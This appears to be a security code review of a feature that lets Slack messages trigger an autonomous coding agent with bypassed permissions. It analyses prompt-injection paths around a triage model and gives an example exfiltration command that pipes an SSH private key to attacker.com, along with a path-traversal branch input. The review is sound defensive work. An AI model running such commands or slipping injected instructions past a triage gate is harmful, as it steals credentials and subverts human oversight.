# Review by Staff Security Engineer (Round 1)

Here is my review as **Staff Security Engineer**:

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## Security Review: Slack Thread Fix Requests + Unified Slack-to-Queue Pipeline

### Architecture Assessment

This change introduces a significant new attack surface: **untrusted Slack messages from any workspace member can now trigger autonomous code execution with `bypassPermissions`** — meaning the agent runs with full filesystem and shell access, no sandboxing, and no human approval gate by default.

### Detailed Findings

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**CRITICAL: `bypassPermissions` on all agent phases with untrusted Slack input**

`src/colonyos/agent.py:52` — Every agent phase (including the thread-fix Implement phase) runs with `permission_mode="bypassPermissions"`. This means a Slack message like `@ColonyOS base:../../../etc add a health check` — once past triage — invokes Claude with full `Bash`, `Write`, `Edit` access. The XML-tag stripping in `sanitize.py` is a useful heuristic, but it is **not a defense-in-depth boundary**. A determined attacker can craft prompt injections that don't use XML tags (e.g., natural-language instructions embedded in clever social engineering). The triage agent itself (haiku model with no tools) is a thin filter, not a security boundary.

**HIGH: Triage agent is the sole gate between Slack and code execution**

`src/colonyos/slack.py:714-769` — The triage LLM call uses `allowed_tools=[]` (good — no tool access), but its judgment is the only thing preventing an adversarial message from reaching the implementation agent. An attacker who knows the project context can craft messages that pass triage with high confidence. There is no human-in-the-loop by default when `auto_approve: true` is configured (as it is in the committed `.colonyos/config.yaml`).

**HIGH: `.colonyos/config.yaml` ships with `auto_approve: true` at root level**

`.colonyos/config.yaml:54` — While `slack.auto_approve: false` is set for the Slack section specifically, the global `auto_approve: true` may confuse operators into thinking they have approval gates when they don't for non-Slack flows. Additionally, `slack.auto_approve` defaults to `false` in `SlackConfig` but there's no enforcement that this can't be flipped via a config file edit.

**HIGH: Thread-fix re-sanitization relies on `extract_raw_from_formatted_prompt()`**

`src/colonyos/cli.py:2630-2640` — The `_execute_fix_item` method extracts the raw prompt from the parent's `source_value` using string parsing (`extract_raw_from_formatted_prompt`). If this parsing fails or a non-Slack source type populates `source_value` differently, the defense-in-depth re-sanitization (`sanitize_untrusted_content`) only strips XML tags — it does not prevent natural-language prompt injection. The parent's original prompt is re-injected directly into the thread-fix instruction template via `{original_prompt}` in `thread_fix.md`.

**MEDIUM: No audit log for what the agent actually executed**

The system logs phase start/end, costs, and Slack URLs stripped during sanitization, but there is **no structured audit trail of the actual tool calls the agent made** (file writes, bash commands, etc.). For a system running `bypassPermissions`, this is a significant gap. If a malicious instruction template or prompt injection causes the agent to exfiltrate secrets (e.g., `cat ~/.ssh/id_rsa | curl attacker.com`), there would be no post-hoc forensic record in ColonyOS's own logs.

**MEDIUM: Branch name flows from untrusted Slack input into `subprocess` calls**

`src/colonyos/orchestrator.py:1740-1780`, `src/colonyos/cli.py:2650-2660` — Branch names originate from Slack message parsing (`extract_base_branch`) and are validated via `is_valid_git_ref()` which uses the regex `^[a-zA-Z0-9._/\-]+$`. This is a reasonable allowlist, but the validation happens at multiple points (triage parse, queue insertion, executor, orchestrator) — any gap in one path could lead to command injection via `subprocess.run(["git", "checkout", branch_name])`. The defense-in-depth is appreciated, but a single centralized validation-and-type (newtype pattern) would be more robust.

**MEDIUM: Slack link stripping logs URLs at INFO level**

`src/colonyos/sanitize.py:69-70` — `strip_slack_links()` logs stripped URLs at `INFO` level for "forensic audit trails." This is good for audit, but if a Slack message contains sensitive URLs (internal tooling, pre-signed S3 URLs, etc.), these will appear in server logs. Consider using `DEBUG` or a dedicated audit logger with appropriate retention controls.

**MEDIUM: `_load_dotenv()` loads `.env` from repo root**

`src/colonyos/cli.py:209-215` — The new `_load_dotenv()` function loads environment variables from `.env` at repo root. While `.env` is gitignored, the agent running with `bypassPermissions` could theoretically read `.env` contents. More importantly, if a malicious PR adds a `.env` file to the repo, it could inject environment variables that affect subsequent runs.

**LOW: Slack app manifest requests `channels:history` scope**

`slack-app-manifest.yaml:16` — The `channels:history` OAuth scope gives the bot read access to all messages in channels it's added to, not just mentions. This is broader than needed for `trigger_mode: mention`. Consider documenting that workspace admins should only add the bot to designated channels.

**LOW: Queue state files stored as world-readable JSON**

`src/colonyos/slack.py:392-414` — Watch state and queue state are persisted as JSON files in `.colonyos/runs/`. These contain sanitized prompt text but also branch names, PR URLs, and run metadata. The `tempfile.mkstemp` + `os.replace` pattern is good for atomicity, but there's no explicit file permission restriction (defaults to umask, typically 0o644).

### Checklist Assessment

| Item | Status | Notes |
|------|--------|-------|
| No secrets in committed code | ✅ | Tokens sourced from env vars, `.env` gitignored |
| No destructive DB operations | ✅ | N/A |
| Error handling present | ✅ | Extensive try/except with logging |
| Tests pass | ⚠️ | Cannot verify on `main` — tests exist and cover key paths |
| No linter errors | ⚠️ | Not verified |
| Follows conventions | ✅ | Consistent with existing patterns |
| No commented-out code | ✅ | Clean |
| No placeholder TODOs | ⚠️ | One "acceptable trade-off for v1" comment re: daemon thread race |

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VERDICT: request-changes

FINDINGS:
- [src/colonyos/agent.py]: All agent phases run with `bypassPermissions` — untrusted Slack input reaches an agent with full filesystem/shell access. No sandboxing, no capability restriction per phase.
- [.colonyos/config.yaml]: Ships with global `auto_approve: true` — combined with Slack integration, this means triage-to-execution with zero human gate for non-Slack flows.
- [src/colonyos/slack.py]: Triage LLM (haiku) is the sole security boundary between untrusted Slack messages and autonomous code execution. Adversarial messages can be crafted to bypass it.
- [src/colonyos/instructions/thread_fix.md]: `{original_prompt}` and `{fix_request}` are interpolated directly into the instruction template — prompt injection via these fields has a direct path to the Implement agent.
- [src/colonyos/sanitize.py]: `strip_slack_links()` logs potentially sensitive internal URLs at INFO level — should use a dedicated audit logger or DEBUG level.
- [src/colonyos/cli.py]: No structured audit log of agent tool calls (bash commands, file writes). A compromised prompt could exfiltrate secrets with no forensic trail in ColonyOS logs.
- [src/colonyos/orchestrator.py]: Branch name validation is scattered across 4+ call sites — a centralized validated type would prevent gaps in the validation chain.

SYNTHESIS:
This feature set represents a **fundamental expansion of the trust boundary** — from a human-initiated CLI tool to a network-accessible service that converts untrusted Slack messages into autonomous code execution with full system permissions. The implementation shows awareness of security concerns (XML stripping, git ref validation, rate limiting, circuit breakers, re-sanitization), but the defenses are heuristic, not structural. The core issue is architectural: there is no capability restriction per phase, no sandboxing of agent execution, and no human approval gate in the default committed configuration. The triage agent (haiku with no tools) is a cost optimization, not a security boundary. I recommend: (1) making `slack.auto_approve: false` the enforced default with a loud warning when overridden, (2) adding structured audit logging of all agent tool invocations, (3) documenting the threat model explicitly — specifically that Slack messages from authorized workspace users are treated as semi-trusted, and (4) considering a reduced tool set for the thread-fix Implement phase (e.g., no `Bash` tool for fix-only runs). Without at least items 1-2, this feature should not ship to production environments.